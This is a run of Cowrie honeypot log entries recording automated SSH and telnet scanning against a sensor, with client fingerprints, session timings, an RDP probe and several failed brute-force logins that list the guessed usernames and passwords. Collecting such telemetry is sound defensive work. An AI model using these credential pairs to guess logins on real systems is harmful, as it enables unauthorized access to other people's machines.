1@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:13.943542Z","src_ip":"159.203.92.129","session":"22dc21afb0b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"redhat","message":"login attempt [ansible/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:15.175677Z","src_ip":"159.203.92.129","session":"22dc21afb0b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:16.442167Z","src_ip":"159.203.92.129","session":"22dc21afb0b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":53242,"dst_ip":"10.17.0.5","dst_port":23,"session":"f37058ed112f","protocol":"telnet","message":"New connection: 199.103.61.230:53242 (10.17.0.5:23) [session: f37058ed112f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:16.889108Z"}
{"eventid":"cowrie.session.closed","duration":12.788526058197021,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.444303Z","src_ip":"34.14.44.33","session":"f32da4f89e22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.635627508163452,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.448980Z","src_ip":"34.14.44.33","session":"7136001792c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.109106540679932,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.452475Z","src_ip":"34.14.44.33","session":"2558f35bd305","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.270679235458374,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.457437Z","src_ip":"34.14.44.33","session":"ce9ff64ce859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.433070182800293,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.463708Z","src_ip":"34.14.44.33","session":"0ef6c32b5123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.595069169998169,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.467172Z","src_ip":"34.14.44.33","session":"c14323518bc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.755626916885376,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.470682Z","src_ip":"34.14.44.33","session":"a4dabc69f755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.921325206756592,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.474432Z","src_ip":"34.14.44.33","session":"42782dd25e4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.081083536148071,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.478086Z","src_ip":"34.14.44.33","session":"fb4c97d334f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.240195989608765,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.480992Z","src_ip":"34.14.44.33","session":"321fb5c5d130","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.398355484008789,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.483894Z","src_ip":"34.14.44.33","session":"92040a571028","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.556399822235107,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.487471Z","src_ip":"34.14.44.33","session":"4e098c121a15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.716214895248413,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.491381Z","src_ip":"34.14.44.33","session":"2353c7d25cd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.87387228012085,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.494452Z","src_ip":"34.14.44.33","session":"5c516a8d5df7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.041675567626953,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.505747Z","src_ip":"34.14.44.33","session":"cea13926203c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.199938535690308,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.508916Z","src_ip":"34.14.44.33","session":"352928e99ca3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.515942573547363,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.512373Z","src_ip":"34.14.44.33","session":"f051adbab507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.750240087509155,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.516381Z","src_ip":"34.14.44.33","session":"6c66a94db68e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.909411907196045,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.519515Z","src_ip":"34.14.44.33","session":"a4ec8774dbc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.542566061019897,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.522900Z","src_ip":"34.14.44.33","session":"802a796749e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.070909023284912,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.526280Z","src_ip":"34.14.44.33","session":"3bc38950df49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.230456829071045,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.529717Z","src_ip":"34.14.44.33","session":"a6410bf57c2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.396252393722534,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.532914Z","src_ip":"34.14.44.33","session":"4c8b69b14636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.711880207061768,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.535887Z","src_ip":"34.14.44.33","session":"1a96d1404797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.913126945495605,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.581991Z","src_ip":"34.14.44.33","session":"3ecad289cbdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.075836896896362,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.584911Z","src_ip":"34.14.44.33","session":"3fcf3af5220e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.39810848236084,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:18.587341Z","src_ip":"34.14.44.33","session":"ab8dfe0f674e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":55396,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a848f78fde","protocol":"telnet","message":"New connection: 199.103.61.230:55396 (10.17.0.5:23) [session: d6a848f78fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:29.844489Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":55250,"dst_ip":"10.17.0.5","dst_port":23,"session":"222986c3045c","protocol":"telnet","message":"New connection: 199.103.61.230:55250 (10.17.0.5:23) [session: 222986c3045c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:29.848852Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":40846,"dst_ip":"159.203.135.109","dst_port":22,"session":"da40c848740e","protocol":"ssh","message":"New connection: 50.99.170.152:40846 (159.203.135.109:22) [session: da40c848740e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:33.037403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:33.042024Z","src_ip":"50.99.170.152","session":"da40c848740e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:33.102115Z","src_ip":"50.99.170.152","session":"da40c848740e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:33.404238Z","src_ip":"50.99.170.152","session":"da40c848740e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":55980,"dst_ip":"10.17.0.5","dst_port":23,"session":"465f36eb923d","protocol":"telnet","message":"New connection: 199.103.61.230:55980 (10.17.0.5:23) [session: 465f36eb923d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:34.217330Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:34.464801Z","src_ip":"50.99.170.152","session":"da40c848740e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":55736,"dst_ip":"10.17.0.5","dst_port":23,"session":"679e6245ae55","protocol":"telnet","message":"New connection: 199.103.61.230:55736 (10.17.0.5:23) [session: 679e6245ae55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:35.862478Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54278,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5ccccb1db97","protocol":"ssh","message":"New connection: 159.203.92.129:54278 (159.203.135.109:22) [session: f5ccccb1db97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:40.208731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:40.435413Z","src_ip":"159.203.92.129","session":"f5ccccb1db97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:40.439672Z","src_ip":"159.203.92.129","session":"f5ccccb1db97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"redhat123","message":"login attempt [ansible/redhat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:40.873745Z","src_ip":"159.203.92.129","session":"f5ccccb1db97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:42.065539Z","src_ip":"159.203.92.129","session":"f5ccccb1db97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.41809105873108,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:47.307061Z","src_ip":"199.103.61.230","session":"f37058ed112f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":58820,"dst_ip":"10.17.0.5","dst_port":23,"session":"de6e733a6ce7","protocol":"telnet","message":"New connection: 199.103.61.230:58820 (10.17.0.5:23) [session: de6e733a6ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:51.574088Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":58664,"dst_ip":"10.17.0.5","dst_port":23,"session":"58e48c5d0198","protocol":"telnet","message":"New connection: 199.103.61.230:58664 (10.17.0.5:23) [session: 58e48c5d0198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:52.577837Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":59102,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc48b5f08c4","protocol":"telnet","message":"New connection: 199.103.61.230:59102 (10.17.0.5:23) [session: 4fc48b5f08c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:54.626052Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":59856,"dst_ip":"10.17.0.5","dst_port":23,"session":"24c309c89fbb","protocol":"telnet","message":"New connection: 199.103.61.230:59856 (10.17.0.5:23) [session: 24c309c89fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:57.887477Z"}
{"eventid":"cowrie.session.closed","duration":30.554676055908203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:00.399052Z","src_ip":"199.103.61.230","session":"d6a848f78fde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87883758544922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:00.727600Z","src_ip":"199.103.61.230","session":"222986c3045c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":60364,"dst_ip":"10.17.0.5","dst_port":23,"session":"80317dd795bb","protocol":"telnet","message":"New connection: 199.103.61.230:60364 (10.17.0.5:23) [session: 80317dd795bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:00.995725Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54726,"dst_ip":"159.203.135.109","dst_port":22,"session":"634bc8c029bf","protocol":"ssh","message":"New connection: 159.203.92.129:54726 (159.203.135.109:22) [session: 634bc8c029bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:04.231443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:04.378700Z","src_ip":"159.203.92.129","session":"634bc8c029bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:04.382964Z","src_ip":"159.203.92.129","session":"634bc8c029bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"redis","message":"login attempt [ansible/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:04.785213Z","src_ip":"159.203.92.129","session":"634bc8c029bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.56340217590332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:05.780666Z","src_ip":"199.103.61.230","session":"465f36eb923d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:05.880552Z","src_ip":"159.203.92.129","session":"634bc8c029bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.682584524154663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:06.544919Z","src_ip":"199.103.61.230","session":"679e6245ae55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":55868,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f060ab21c73","protocol":"ssh","message":"New connection: 103.149.252.223:55868 (10.17.0.5:22) [session: 4f060ab21c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:17.270285Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:17.274871Z","src_ip":"103.149.252.223","session":"4f060ab21c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:17.278969Z","src_ip":"103.149.252.223","session":"4f060ab21c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.19537591934204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:22.769388Z","src_ip":"199.103.61.230","session":"de6e733a6ce7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03290939331055,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:03:24.610659Z","src_ip":"199.103.61.230","session":"58e48c5d0198","protocol":"telnet"}
